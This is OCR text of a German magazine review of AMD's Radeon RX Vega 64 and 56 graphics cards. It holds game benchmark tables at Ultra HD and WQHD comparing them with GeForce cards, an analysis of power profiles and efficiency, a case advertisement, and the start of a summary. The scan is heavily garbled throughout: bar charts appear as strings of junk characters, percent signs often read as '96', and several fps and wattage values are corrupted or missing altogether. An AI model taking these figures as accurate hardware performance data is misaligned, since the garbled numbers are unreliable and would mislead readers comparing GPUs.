Nvidia Geforce GTX 1080 Ti/11G [ett 64,3 (+16 96) 
AMD Radeon RX Vega 64/8G EES 55,4 (Basis) 
Nvidia Geforce GTX 1080/8G. 6532 53,8 (-3 %) 
AMD Radeon RX Vega 56/8G www 46,6 (-16 96) 
Nvidia Geforce GTX 1070/86 |t 43,0 (-22 96) 

AMD Radeon R9 Fury X/4G [grt 41,4 (-25 %) 
Nvidia Geforce GTX 980 Ti/6G 3g 40,3 (-27 96) 
AMD Radeon RX 580/8G. ШЗ 33,5 (-40 %) 
AMD Radeon R9 390X/8G. |t? 33,5 (-40 %) 
Nvidia Geforce GTX 780 Ti/3G ET 27,2 (-51 96) 
Nvidia Geforce GTX 970/3,5+0,56 [3811 24,6 (-56 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


Nvidia Geforce GTX 1080 Ti/11G agit 50,7 (+33 96) 
Nvidia Geforce GTX 1080/86 KKGOÓODPbJ àCIID&TCILIIIÑII 41,0 (+8 96) 
AMD Radeon RX Vega 64/8G. SEEIÜƏéƏ€O€II€IIƏI>IZIÇH3IZGTIƏÓIILIaSis) 
AMD Radeon RX Vega 56/8G ЗОИ 32,2 (-15 96) 
Nvidia Geforce GTX 1070/86 [3011 31,9 (-16 96) 

AMD Radeon R9 Fury X/4G [E39 30,4 (-20 96) 
Nvidia Geforce GTX 980 Ti/6G 38] 29,5 (-23 96) 
AMD Radeon RX 580/86 3r 23,5 (-38 96) 
AMD Radeon R9 390X/8G [191] 21,1 (-45 96) 
Nvidia Geforce GTX 780 T/3G EEE]! 20,4 (-46 96) 
Nvidia Geforce GTX 970/3,5--0,5G. 181] 19,3 (-49 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Geforce GTX 1080 Ti/11G [asi 49,3 (+25 96) 
AMD Radeon RX Vega 64/8G. BEES 39,3 (Basis) 
Nvidia Geforce GTX 1080/8G 3e 39,0 (-1 96) 
AMD Radeon RX Vega 56/8G SERI Im GIIƏIIINOI£LWIçNIO(- 16 96) 

AMD Radeon R9 Fury X/4G mg 31,1 (21 90) 
Nvidia Geforce GTX 1070/86 mh 30,6 (-22 96) 
Nvidia Geforce GTX 980 Ti/6G 36:1 28,7 (-27 96) 
AMD Radeon R9 390X/8G [3811 25,7 (-35 96) 
AMD Radeon RX 580/8G. [RE 23,3 (-41 96) 
Nvidia Geforce GTX 780 Ti/3G ШШ 19,3 (-51 96) 
Nvidia Geforce GTX 970/3,5+0,56 Ш | 16,5 (-58 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - ,, Prague" 


Nvidia Geforce GTX 1080 Ti/11G aat 45,5 (+24 96) 
AMD Radeon RX Vega 64/8G ESSERI 36,8 (Basis) 
Nvidia Geforce GTX 1080/86 3st 36,7 (-0 96) 
AMD Radeon RX Vega 56/8G. SSƏII Ii KIGII 31,3 (-15 96) 
Nvidia Geforce GTX 1070/8G [98] 28,9 (-21 96) 
Nvidia Geforce GTX 980 Ti/6G 38/1 27,5 (-25 96) 

AMD Radeon R9 Fury X/4G [E 23,6 (-36 96) 
AMD Radeon RX 580/86 391 22,4 (-39 96) 
AMD Radeon R9 390X/8G [3011 22,4 (-39 96) 
Nvidia Geforce GTX 970/3,5+0,5G 151] 16,9 (-54 96) 
Nvidia Geforce GTX 780 Ti/3G ВЗ] 14,5 (-61 96) 


Nvidia Geforce GTX 980 Ti/oG ШШЕ 19,6 (-39 96) 
AMD Radeon RX 580/8G. RES 18,9 (-41 96) 
AMD Radeon R9 390X/8G. A 18,5 (-43 96) 
AMD Radeon R9 Fury X/4G ЕЙ 16,9 (-48 96) 
Nvidia Geforce GTX 970/3,5--0,5G Ш | 11,1 (-66 96) 
Nvidia Geforce GTX 780 Ti/3G В 818 10,6 (-67 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Geforce GTX 1080 Ti/11G. sa ШЕ 41,5 (+34 96) 
Nvidia Geforce GTX 1080/8G 381 32,4 (+5 96) 
AMD Radeon RX Vega 64/8G SIIIümIcI WCGIƏOIIII1⁄I,I£IIIIIIIAI2D 
AMD Radeon RX Vega 56/8G ШШЕ 25,6 (-17 96) 
Nvidia Geforce GTX 1070/8G MEZ 24,7 (-20 96) 

Nvidia Geforce GTX 980 Ti/6G 08 23,3 (-25 96) 
AMD Radeon R9 Fury X/4G [8 22,4 (-28 96) 
AMD Radeon R9 390X/8G Ш 8 19,2 (-38 96) 
AMD Radeon RX 580/8G. E 18,8 (-39 96) 
Nvidia Geforce GTX 780 Ti/3G HAN 12,1 (-61 96) 
Nvidia Geforce GTX 970/3,5+0,5G [f 10,8 (-65 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF - „Scavenger” 


Nvidia Geforce GTX 1080 Ti/11G [39 | 37,9 (+20 96) 
Nvidia Geforce GTX 1080/8G [CCS] 32,5 (+3 96) 
AMD Radeon RX Vega 64/8G El EN 31,5 (Basis) 
AMD Radeon RX Vega 56/8G EIG EEE 27,6 (-12 96) 
Nvidia Geforce GTX 1070/8G ШШ ЕШ 27,6 (-12 96) 

AMD Radeon R9 Fury X/4G 5888 25,3 (-20 %) 
Nvidia Geforce GTX 980 Ti/6G ШЕ 22,8 (-28 96) 
AMD Radeon R9 390X/8G. EEE 22,0 (-30 96) 
AMD Radeon RX 580/8G [mr x 21,4 (-32 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ж ВШ 16,7 (-47 96) 
Nvidia Geforce GTX 780 Ti/3G Б ЛШ 14,6 (-54 96) 


Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - , Bishopsgate" 


Nvidia Geforce GTX 1080 Ti/11G. MEA 36,8 (+71 96) 
Nvidia Geforce GTX 1080/8G. mt 29,3 (+36 96) 
Nvidia Geforce GTX 1070/8G ШШЕН 23,7 (+10 96) 
AMD Radeon RX Vega 64/8G ШИИ 21,5 (Basis) 

Nvidia Geforce GTX 980 Ti/6G ШЕ} 21,0 (-2 96) 
AMD Radeon RX Vega 56/8G BIB] 19,8 (-8 96) 
AMD Radeon RX 580/8G ШЇЇ 15,4 (-28 96) 
AMD Radeon R9 390X/8G [8311 15,0 (-30 96) 
AMD Radeon R9 Fury X/4G В| 12,1 (-44 96) 
Nvidia Geforce GTX 970/3,5--0,5G HEI 10,9 (-49 96) 
Nvidia Geforce GTX 780 Ti/3G 8816,9 (-68 96) 


GTA 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - „Grapeseed” 


Nvidia Geforce GTX 1080 Ti/11G [39H 31,9 (+49 96) 
Nvidia Geforce GTX 1080/8G [381] 25,4 (4-19 96) 
AMD Radeon RX Vega 64/8G BEE 21,4 (Basis) 
Nvidia Geforce GTX 1070/8G A] 20,4 (-5 96) 

Nvidia Geforce GTX 980 Ti/6G zm] 18,7 (-13 96) 
AMD Radeon RX Vega 56/8G Ш 8 18,4 (-14 96) 
AMD Radeon R9 Fury X/4G 8 15,9 (-26 96) 
AMD Radeon R9 390X/8G [311 15,2 (-29 96) 
AMD Radeon RX 580/8G [Sl 12,9 (-40 96) 
Nvidia Geforce GTX 970/3,5+0,5G 81| 6,9 (-68 96) 
Nvidia Geforce GTX 780 Ti/3G BI 6,7 (-69 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.80 HF, RS 17.8.1, HQ-AF МІП Ø Fps 
Bemerkungen: Ultra HD ist sowohl für die RX Vega 64/56 als auch für die GTX 1080/1070 eine Herausforderung, die Bildraten der Kontrahenten liegen über weite Teile im 30er- und 40er-Bereich. » Besser 
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GRAFIKKARTEN | Radeon RX Vega 


Effizienz-Analyse: Vega 64 und Vega 56 


X-Vega-Referenzkarten bieten 
icht nur eines, sondern insge- 
samt sechs Energieprofile, die sich 
innerhalb der Gewährleistung nut- 
zen lassen. Zur Verfügung stehen 
ein zweites BIOS mit unterschied- 
lichen Power-Einstellungen sowie 
je drei Energieprofile im Treiber- 
menü Wattman. Bei der Standard- 
einstellung „out of the box“ steht 
der BIOS-Schalter auf 1 (Schalter- 
stellung nahe der Slotblende) und 
das Wattman-Profil auf „Balanced“. 
Daneben warten noch „Power 
Save“ (geringeres Powerlimit) und 
„Turbo“ (höheres Powerlimit). 


PC Games Hardware bewertet Gra- 
fikkarten im Auslieferungszustand, 
ergo BIOS 1 und Balanced-Profil. 
Beim Blick auf die Ergebnisse fällt 
auf, dass AMD nicht unbedingt das 


Powerlimits: Übersicht 


Grafikkarte und BIOS Board Power ASIC-Power: ASIC-Power: ASIC-Power: 
(ganze Karte) Balanced Power Save Turbo 

RX Vega 64 LC (BIOS 1) 345 Watt 264 Watt 98 Watt 303 Watt 

RX Vega 64 LC (BIOS 2) 295 Watt 220 Watt 65 Watt 253 Watt 

RX Vega 64 Air (BIOS 1) 295 Watt 220 Watt 65 Watt 253 Watt 

RX Vega 64 Air (BIOS 2) Unbekannt 200 Watt 50 Wat 230 Watt 

RX Vega 56 (BIOS 1) 210 Watt 165 Watt 50 Wat 190 Watt 

RX Vega 56 (BIOS 2) Unbekannt 150 Watt 35 Wat 173 Watt 

Bemerkungen: Balanced ist der Standard, wenn im Wattman-Menü nichts verändert wird (BIOS 1; fett markiert). BIOS 2 muss manuell 

umgeschaltet werden. ASIC-Power ist die maximale Leistungsaufnahme, die GPU und HBM nutzen dürfen. 


beste Profil zum Standard ernannt 
hat. Power Save erweist sich als 
effizientere Alternative. Selbstver- 
ständlich können die Profile keine 
Wunder bewirken: Ein gesenktes 
Powerlimit führt zu reduzierten 
Fps, zwischen Power Save und Tur- 
bo können bis zu 150 MHz liegen. 
Während die Bildrate jedoch meist 


unfühlbar reduziert wird, nimmt 
der Energiedurst der Vega 64 mit 
Power Save gegenüber Balanced 
deutlich ab. Die Vega 56 arbeitet ab 
Werk näher am sogenannten Sweet 
Spot (der Taktgrenze, wo eine Ar- 
chitektur am effizientesten ist) und 
profitiert daher kaum von Power 
Save - Turbo führt jedoch auch 


bei ihr zu einer schlechteren Fps/ 
Watt-Bilanz. Aufgrund der unverän- 
derten maximalen Lüfterdrehzahl 
ändert sich an der Lautheit wenig. 
Turbo führt schlicht schneller zum 
Maximalwert von 2.400 U/Min (4,9 
Sone), Power Save kann diese Spit- 
ze bei anspruchsarmen Spielen ver- 
hindern. 


Energieeffizienz: Worstcase-Spiel 


Energieeffizienz: Durchschnittsspiel 


Anno 2070, 2160р - „Bäm!” (statische Fps vs. gemessene Leistung) 


Crysis 3, 1080p - „Fields” (statische Fps 


vs. gemessene Leistung) 
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Grafikkarte und Einstellungen Fps Watt Watt pro Frame Grafikkarte und Einstellungen Fps Watt Watt pro Frame 
— weniger ist besser! — weniger ist besser! 
Geforce GTX 1080 44 171 3,89 Geforce GTX 1080 Ti 124 225 1,81 
Titan X (Pascal) 57 231 4,05 Geforce GTX 1080 95 175 1,84 
Geforce GTX 1080 Ti 56 230 4,11 Geforce GTX 1070 80 149 1,86 
Geforce GTX 1070 35 148 4,23 Titan X (Pascal) 116 227 1,96 
Geforce GTX 980 Ti 33 224 6,78 Geforce GTX 980 Ti 76 230 3,03 
Radeon R9 Fury X 31 327 10,55 Radeon R9 Fury X 67 250 3,73 
RX Vega 56 „Power Save" 31,5 203 6,44 RX Vega 56 „Power Save" 68 202 2,97 
RX Vega 64 „Power Save” 35 227 6,49 RX Vega 64 „Power Save” 75 232 3,09 
RX Vega 56 , Balanced" 32 216 6,75 RX Vega 56 , Balanced" 69 216 3,13 
RX Vega 56 „Turbo” 34 25 7,41 RX Vega 56 , Turbo” 715 246 3,44 
RX Vega 64 , Balanced" 38 289 7,61 RX Vega 64 , Balanced" 75,5 288 3,81 
RX Vega 64 , Turbo" 40 339 8,48 RX Vega 64 , Turbo" 77 336 4,36 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), X99, 4 x 8 GiB DDR4-3000 (1T); Windows 10 x64, 
Bemerkungen: Referenzkarten unter sich. Aufsteigend nach Watt pro Frame sortiert. Gerundete Werte. 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), 


, X99, 4 x 8 GiB DDRA4-3000 (17); Windows 10 x64, 
Bemerkungen: Referenzkarten unter sich. Aufsteigend nach Watt pro Frame sortiert. Gerundete Werte. 
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Das TG5 ist unser Midi ATX Tower für alle Hard- der Gehäuserückseite sorgen — je nach Gehäu- 
ware-Enthusiasten, die zeigen wollen, was sie ha- sevariante — für die passende Beleuchtung in Rot, 
ben. Dank der Front und des Seitenteils aus gehár- Grün, Blau oder Weiß. Damit nichts vom Wesentli- 
tetem Glas wird jeder die verbaute Ausstattung chen ablenkt, haben wir das TG5 mit zahlreichen 
sehen wollen. Drei vorinstallierte 120-mm-LED-Lüf- Möglichkeiten konstruiert, Netzteil, Kabel und Fest- 
ter vorn sowie ein weiterer 120-mm-LED-Lüfter an platten aus dem Blickfeld verschwinden zu lassen. www.sharkoon.de 


GRAFIKKARTEN | Radeon RX Vega 


Spezialbenchmarks: Neue Blockbuster und bewàhrte Spiele mit erhóhtem Anspruch (WQHD) 


Doom (Vulkan), Nightmare-Preset (forciert), TSSAA 8TX/16:1 AF - , Devil's Dance" 


Radeon RX Vega 64/8G LC ^ wi wl ESSI 147 6 (+8 96) 
Radeon RX Vega 64/86 ШО [I 136,5 (Basis) 
Geforce GTX 1080/8G as@a 121,8 (-11 96) 
Radeon RX Vega 56/8G 113,7 (-17 96) 
Radeon R9 Fury X/4G E ps 99,5 (-27 96) 
Geforce GTX 1070/8G wil 93,0 (-32 96) 


Prey, SMAA 2TX/16:1 AF - , Hardware Labs" 


Geforce GTX 1080 Ti/11G. Xa 117,3 (+25 96) 
Radeon RX Vega 64/8G LC * 100,4 (+7 96) 
Geforce GTX 1080/8G EEE 95,9 (+2 96) 
Radeon RX Vega 64/8G ET 93,9 (Basis) 
Radeon RX Vega 56/8G Ш 80,4 (-14 96) 
Geforce GTX 1070/8G ШЕ 77,4 (-18 96) 
Radeon R9 Fury X/4G eg 76,1 (-19 96) 


Hitman (DX12), max. Details, TAA/16:1 AF - „Sapienza Sundown” 


Geforce GTX 1080 Ti/11G. [Xa 95,9 (+14 96) 
Geforce GTX 1080/8G m 88,8 (+5 96) 
Radeon RX Vega 64/8G LC ЗВ 86,0 (+2 96) 
Radeon RX Vega 64/8G a Gia 8 84,4 (Basis) 
Radeon RX Vega 56/8G ws 77,3 (-8 %) 
Geforce GTX 1070/8G EEE 71,8 (-15 96) 
Radeon R9 Fury X/4G ВОО 66,5 (-21 96) 


CoD: MW Remastered, 2x SSAA + SMAA T2x/16:1 AF — „Тһе Bog" 


Geforce GTX 1080 Ti/11G. EEE E 94,1 (+32 %) 
Radeon RX Vega 64/8G LC * GE SEIIKImIKEEEBSSI 78,9 (+11 96) 
Geforce GTX 1080/8G es ШЇЇ 73,9 (+4 96) 
Radeon RX Vega 64/86 EE 71,4 (Basis) 
Radeon RX Vega 56/8G SEEIIIMAC¿ZóIXAWWIINII1 62,9 (-12 94) 
Geforce GTX 1070/8G. ISSEIIIçII GxIƏI$IIIIXIO,9 (-15 96) 
Radeon R9 Fury X/4G Ea 48,9 (-32 90) 


Sudden Strike 4, max. Details, 133 % Res. Scale, Ingame-AA/16:1 AF - ,Stalingrad" 


Geforce GTX 1080 Ti/11G. [Xét 80,3 (+39 96) 
Geforce GTX 1080/8G 5] 61,4 (+7 96) 
Radeon RX Vega 64/8G LC * ESSI] 60,8 (+6 96) 
Radeon RX Vega 64/8G SIS] 57,6 (Basis) 
Radeon RX Vega 56/8G SEIIƏIƏ,DSƏINOIIOSU III 96) 
Geforce GTX 1070/8G. Xmas] 47,8 (-17 96) 
Radeon R9 Fury X/4G E 47,5 (-18 96) 


Dirt 4, max. Details, 4х MSAA/16:1 AF - , Michigan" 


Geforce GTX 1080 Ti/11G. ER 73,6 (+9 96) 
Radeon RX Vega 64/8G LC * ESSI 71,7 (+6 96) 
Radeon RX Vega 64/8G GuoqÚÀ i  lijpi.al 67,4 (Basis) 
Geforce GTX 1080/8G. M5 59,5 (-12 96) 
Radeon RX Vega 56/86 SEEKIWI IWI€IIWIII,WA SAII.ZIIIIçIIZI 
Radeon R9 Fury X/4G Ew 50,9 (-24 %) 
Geforce GTX 1070/8G ar] 48,5 (-28 %) 


Mass Effect Andromeda, max. Details, TAA/16:1 AF — ,,Forlorn Dreams” 


Geforce GTX 1080 Ti/11G DQ 65,9 (+44 %) 
Geforce GTX 1080/8G e 52,0 (+14 96) 
Radeon RX Vega 64/8G LC * BEE 48,6 (+6 %) 
Radeon RX Vega 64/8G ШШШ 45,7 (Basis) 
Geforce GTX 1070/86 St 41,0 (-10 96) 
Radeon RX Vega 56/8G SISTI 38,5 (-16 %) 
Radeon R9 Fury X/4G 39] 32,8 (-28 %) 


Geforce GTX 1080 Ti/11G S E 153,2 (+12 96) 


Hellblade: Senua's Sacrifice, max. Details, TAA/16:1 AF — „Valravn” 


Geforce GTX 1080 Ti/11G. ШЕ 64,1 (+24 96) 
Radeon RX Vega 64/8G LC * G j awa 55,2 (+6 96) 
Geforce GTX 1080/8G. [Cs] 54,2 (+4 96) 
Radeon RX Vega 64/8G [ESSI 51,9 (Basis) 
Radeon RX Vega 56/8G BREST 45,2 (-13 96) 
Radeon R9 Fury X/4G E41 43,0 (-17 96) 
Geforce GTX 1070/8G. ШЗ 42,7 (-18 96) 


Quantum Break (DX11), Upscaling ап, Ingame-AA/16:1 AF - Industrial" 


Geforce GTX 1080 Ti/11G. MEA 61,0 (+24 96) 
Radeon RX Vega 64/8G LC Ш 52,0 (+6 96) 
Geforce GTX 1080/8G. ШЕУ 50,8 (+4 96) 
Radeon RX Vega 64/86 EEE 43,0 (Basis) 
Radeon RX Vega 56/86 [ISI 43,8 (-11 96) 
Geforce GTX 1070/8G. ЕЗ0 8 41,0 (-16 96) 
Radeon R9 Fury X/4G Ш ЗО 39,3 (-20 96) 


Sniper Elite 4 (DX12) 150 % Res. Scale, Ingame-AA/16:1 AF - „Sniper Woods" 


Geforce GTX 1080 Ti/11G. EX ШШ 50,1 (+25 96) 
Radeon RX Vega 64/8G LC * mm 51,7 (+9 96) 
Geforce GTX 1080/8G. ВЕЗИ 47,7 (+1 96) 
Radeon RX Vega 64/8G ШАО 47,3 (Basis) 
Radeon RX Vega 56/8G Bee 42,7 (-10 96) 
Radeon R9 Fury X/4G ШЗ 40,3 (-15 %) 
Geforce GTX 1070/86 Ш 08 37,2 (-21 96) 


Witcher 3, max. Hairworks (8x MS)/HBAO+, Ingame-AA/16:1 AF - „Skellige Forest" 


Geforce GTX 1080 Ti/11G. ett 58,1 (431 %) 
Geforce GTX 1080/86 ШШШ 48,8 (+10 %) 
Radeon RX Vega 64/8G LC * AI] 46,8 (+5 %) 
Radeon RX Vega 64/86 ШШШ 44,5 (Basis) 
Radeon RX Меда 56/8G [EIS] 42,2 (-5 %) 
Geforce GTX 1070/86 35] 38,1 (-14 96) 
Radeon R9 Fury X/4G [39] 31,4 (-29 %) 


Ghost Recon Wildlands, Ultra-Preset, TAA/16:1 AF - „Wild Ride" 


Geforce GTX 1080 Ti/11G. X8 51,2 (+30 96) 
Geforce GTX 1080/8G. Lag 43,0 (+9 96) 
Radeon RX Vega 64/8G LC * IIS] 39,8 (+1 96) 
Radeon RX Vega 64/8G. [ISI] 39,3 (Basis) 
Geforce GTX 1070/8G. ШЗ} 35,3 (-10 96) 
Radeon RX Vega 56/8G ЗИ 33,7 (-14 96) 
Radeon R9 Fury X/4G [5221] 23,9 (-39 96) 


Watch Dogs 2 inkl. PCSS/HBAO+ (Zusatzdetails 0%), SMAA T2x/16:1 AF - ,, Frisco" 


Geforce GTX 1080 Ti/11G. 08 46,5 (+56 96) 
Geforce GTX 1080/86 [XS 36,4 (+22 96) 
Radeon RX Vega 64/8G LC * II 31,2 (+4 96) 
Geforce GTX 1070/86 Ш 98 30,7 (+3 96) 
Radeon RX Vega 64/8G Ш 291 29,9 (Basis) 
Radeon RX Vega 56/8G В] 25,5 (-15 96) 
Radeon R9 Fury X/4G ИЙ 25,4 (-15 96) 


GTA 5, max. Det. (Gras , Ultra", Schatten „Am weichsten"), 4x MS/16:1 AF - ,,Grapeseed" 


Geforce GTX 1080 Ti/11G. ШЗ 39,6 (+21 96) 
Geforce GTX 1080/8G. ВЕЗИ 34,5 (+5 96) 
Radeon RX Vega 64/8G LC * ШЗ] 34,1 (+4 96) 
Radeon RX Vega 64/8G Ш 30| 32,8 (Basis) 
Geforce GTX 1070/8G Ш] 29,2 (-11 96) 
Radeon RX Vega 56/8G ВШ | 28,5 (-13 96) 
Radeon R9 Fury X/4G [23] 25,4 (-23 %) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.80/385.28, RS 17.8.1, HQ-AF 
Bemerkungen: *Simuliert anhand der Vega 64 Air mit -1.680 MHz Boost (von AMD für die Liquid als typisch angegeben). Die Vega 56 beweist Stärke und schlägt die GTX 1070 FE fast durchgängig. 


Mimil 2 Fps 
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Spezialbenchmarks: Neue Blockbuster und bewährte Spiele mit erhöhtem Anspruch (Ultra HD) 


Doom (Vulkan), Nightmare-Preset (forciert), TSSAA 8TX/16:1 AF - , Devil's Dance" 


Geforce GTX 1080 Ti/1 1G a 80,8 (+16 96) 
Radeon RX Vega 64/8G LC * 75.2 (+8 96) 
Radeon RX Vega 64/8G ER I 69,6 (Basis) 
Geforce GTX 1080/8G wama 63,9 (-8 96) 
Radeon RX Vega 56/8G ENEE 57,9 (-17 %) 
Radeon R9 Fury X/4G E 51,6 (-26 %) 
Geforce GTX 1070/8G gs 48,8 (-30 %) 


Prey, SMAA 2TX/16:1 AF- „Hardware Labs” 


Geforce GTX 1080 Ti/11G. ww 56,7 (+24 96) 
Radeon RX Vega 64/8G LC * ES 48,5 (+6 %) 
Radeon RX Vega 64/8G EEE 45,6 (Basis) 
Geforce GTX 1080/86 Xo 44,4 (-3 96) 
Radeon RX Vega 56/86 EEE 39,3 (-14 %) 
Radeon R9 Fury X/4G EEE] 38,0 (-17 96) 
Geforce GTX 1070/8G M 36,3 (-20 96) 


Hitman (DX12), max. Details, TAA/16:1 AF - „Sapienza Sundown” 


Geforce GTX 1080 Ti/11G u 66 63,5 (+23 96) 
Radeon RX Vega 64/8G LC * 55,3 (+7 96) 
Geforce GTX 1080/8G a 54,1 (+5 96) 
Radeon RX Vega 64/86 ENEE 51,7 (Basis) 
Radeon RX Vega 56/8G wiswi 45,0 (-13 %) 
Geforce GTX 1070/8G EEE 42,0 (-19 96) 
Radeon R9 Fury X/4G [aa 32,1 (-38 96) 


CoD: MW Remastered, 2x SSAA + SMAA T2x/16:1 AF - „Тһе Bog" 


Geforce GTX 1080 Ti/11G. [gg ЕШ 55,0 (4-40 96) 
Radeon RX Vega 64/8G LC ` BEE 43,7 (+11 96) 
Geforce GTX 1080/8G EEE 42,3 (+7 96) 
Radeon RX Vega 64/86 EI GCC OOIMI$ISIISIIl] 39,4 (Basis) 
Radeon RX Vega 56/8G SEES 34,2 (-13 96) 
Geforce GTX 1070/8G. [Xs] 34,0 (-14 96) 
Radeon R9 Fury X/4G [aa 28,6 (-27 96) 


Sudden Strike 4, max. Details, 133 % Res. Scale, Ingame-AA/16:1 AF - ,Stalingrad" 


Geforce GTX 1080 Ti/11G t 44,6 (+39 96) 
Geforce GTX 1080/8G. REI GTGDII€Ə@IOIÇÓFÓIII 34,6 (4-7 96) 
Radeon RX Vega 64/8G LC * EESTI 34,0 (+6 %) 
Radeon RX Vega 64/8G SSERERERIIKHKIDJIIIIDlUI3S31F00Io”KKKCSRZA%IIU I 
Radeon RX Vega 56/8G ШЕУ 27,6 (-14 %) 
Geforce GTX 1070/8G ШЕ] 26,7 (-17 96) 
Radeon R9 Fury X/4G SSIUIIQIIII 25,8 (-20 96) 


Dirt 4, max. Details, 4x MSAA/16:1 AF - ,, Michigan" 


Geforce GTX 1080 Ti/11G t 46,0 (4-26 96) 
Radeon RX Vega 64/8G LC * ESSI 38,3 (+5 96) 
Geforce GTX 1080/8G ВЕ 36,6 (4-0 96) 
Radeon RX Vega 64/8G SEFNcIIGIIGI€ÇCSSI<⁄IXIIIcGHPIIA 6, 5, (Basis) 
Radeon RX Vega 56/86 EBEN 32,5 (-11 %) 
Radeon R9 Fury X/4G SSIIIGIIGG+XÇ,O€IIIGIIISIUOUIÉÜ (-16 96) 
Geforce GTX 1070/8G. ШО 8 28,7 (-21 %) 


Mass Effect Andromeda, max. Details, TAA/16:1 AF - „Forlorn Dreams" 


Geforce GTX 1080 Ti/11G. ВИЗ 35,1 (+46 96) 
Geforce GTX 1080/8G «t 26,8 (+12 96) 
Radeon RX Vega 64/8G LC * ШШШ 25,7 (+7 96) 
Radeon RX Vega 64/8G ЖШШЕ 24,0 (Basis) 
Geforce GTX 1070/8G. ВЕ 20,8 (-13 96) 
Radeon RX Vega 56/8G BEE 20,2 (-16 96) 
Radeon R9 Fury X/4G Ш 58 17,6 (-27 96) 


Hellblade: Senua's Sacrifice, max. Details, TAA/16:1 AF - „Valravn” 


Geforce GTX 1080 Ti/11G. M 32,7 (+24 %) 
Radeon RX Vega 64/8G LC * IERI] 27,6 (+5 96) 
Geforce GTX 1080/8G. ШЕ 26,8 (+2 96) 
Radeon RX Vega 64/86 IIS] 26,4 (Basis) 
Radeon RX Vega 56/8G ШШШ 22,9 (-13 96) 
Radeon R9 Fury X/4G E33 22,8 (-14 %) 
Geforce GTX 1070/8G. ШШШ? 21,0 (-20 96) 


Quantum Break (DX11), Upscaling an, Ingame-AA/16:1 AF - Industrial" 


Geforce GTX 1080 Ti/11G. Xa 8 38,2 (+37 96) 
Geforce GTX 1080/8G. Lg 30,6 (+10 96) 
Radeon RX Vega 64/8G LC * ESSI 30,2 (+8 96) 
Radeon RX Vega 64/86 ISI 27,9 (Basis) 
Radeon RX Vega 56/8G AIL 25,0 (-10 96) 
Geforce GTX 1070/8G. ШШШ 24,3 (-13 96) 
Radeon R9 Fury X/4G LE 23,6 (-15 96) 


Sniper Elite 4 (DX12) 150 % Res. Scale, Ingame-AA/16:1 AF - „Sniper Woods" 


Geforce GTX 1080 Ti/11G. X33 p 31,0 (+40 96) 
Radeon RX Vega 64/8G LC * ELI 24,1 (+9 96) 
Geforce GTX 1080/8G. ISSEII GIOI$IçIƏI 23,9 (+8 96) 
Radeon RX Vega 64/8G MESM 22,2 (Basis) 
Radeon RX Vega 56/8G EE 20,4 (-8 96) 
Geforce GTX 1070/8G. ШШ 18,8 (-15 96) 
Radeon R9 Fury X/4G Ш 58 17,9 (-19 96) 


Witcher 3, max. Hairworks (8x MS)IHBAO+, Ingame-AA/16:1 AF - „Skellige Forest" 


Geforce GTX 1080 Ti/11G. SEIII+BéTCTDIIIOOFIIIgIGTIFPTIƏFPBI WdX (+33 %) 
Geforce GTX 1080/8G Xn? 29,1 (+7 96) 
Radeon RX Vega 64/8G LC * EZ] 29,0 (+6 96) 
Radeon RX Vega 64/8G EBEN 27,3 (Basis) 
Radeon RX Меда 56/8G ШШШ 25,4 (-7 %) 
Geforce GTX 1070/8G Eit 22,7 (-17 96) 
Radeon R9 Fury X/4G [19/1 20,6 (-25 %) 


Ghost Recon Wildlands, Ultra-Preset, TAA/16:1 AF - „Wild Ride" 


Geforce GTX 1080 Ti/11G. M 33,8 (+30 96) 
Geforce GTX 1080/8G ВЕДИ 27,7 (+6 96) 
Radeon RX Vega 64/8G LC * IESU] 26,9 (+3 96) 
Radeon RX Vega 64/8G ШШШ 26, 1 (Basis) 
Geforce GTX 1070/8G. [Ctt 22,8 (-13 96) 
Radeon RX Vega 56/8G ШШШ 22,6 (-13 96) 
Radeon R9 Fury X/4G [81] 15,0 (-43 96) 


Watch Dogs 2 inkl. PCSS/HBAO+ (Zusatzdetails 0%), SMAA T2x/16:1 AF - ,,Frisco” 


Geforce GTX 1080 Ti/11G. ШЕЮ 28,2 (+73 96) 
Geforce GTX 1080/8G [BL 21,4 (+31 96) 
Geforce GTX 1070/86 161 18,0 (4-10 96) 

Radeon RX Vega 64/8G LC * BEE 17,4 (+7 %) 
Radeon RX Меда 64/8G ШЙ 16,3 (Basis) 
Radeon RX Vega 56/8G Pl 14,5 (-11 96) 

Radeon R9 Fury X/4G 1018 12,5 (-23 96) 


GTA 5, max. Det. (Gras , Ultra", Schatten „Am weichsten"), 4x MS/16:1 AF - ,,Grapeseed" 


Geforce GTX 1080 Ti/11G. ШЕ] 25,6 (+34 96) 
Geforce GTX 1080/8G. ШШШ? 21,1 (+10 96) 
Radeon RX Vega 64/8G LC * ШИ 19,8 (+4 96) 
Radeon RX Vega 64/8G EE 19,1 (Basis) 
Geforce GTX 1070/8G. EB] 17,4 (-9 96) 
Radeon RX Vega 56/8G Ш Э 16,6 (-13 96) 
Radeon R9 Fury X/4G Ba 12,6 (-34 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.80/385.28, RS 17.8.1, HQ-AF 
Bemerkungen: *Simuliert anhand der Vega 64 Air mit -1.680 MHz Boost (von AMD für die Liquid als typisch angegeben) — sie kann die GTX 1080 in den meisten Fällen knapp schlagen. 
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Auswertung 


W 7illkommen zurück! Zeit, die 
gewonnenen Ergebnisse zu- 
sammenzufassen. 


Leistung: Die Radeon RX Vega 64 
Air erreicht im PCGH-Index (s. 
Seite 31 für Details) den Wert 74,5. 
Damit rangiert sie klar, aber nicht 
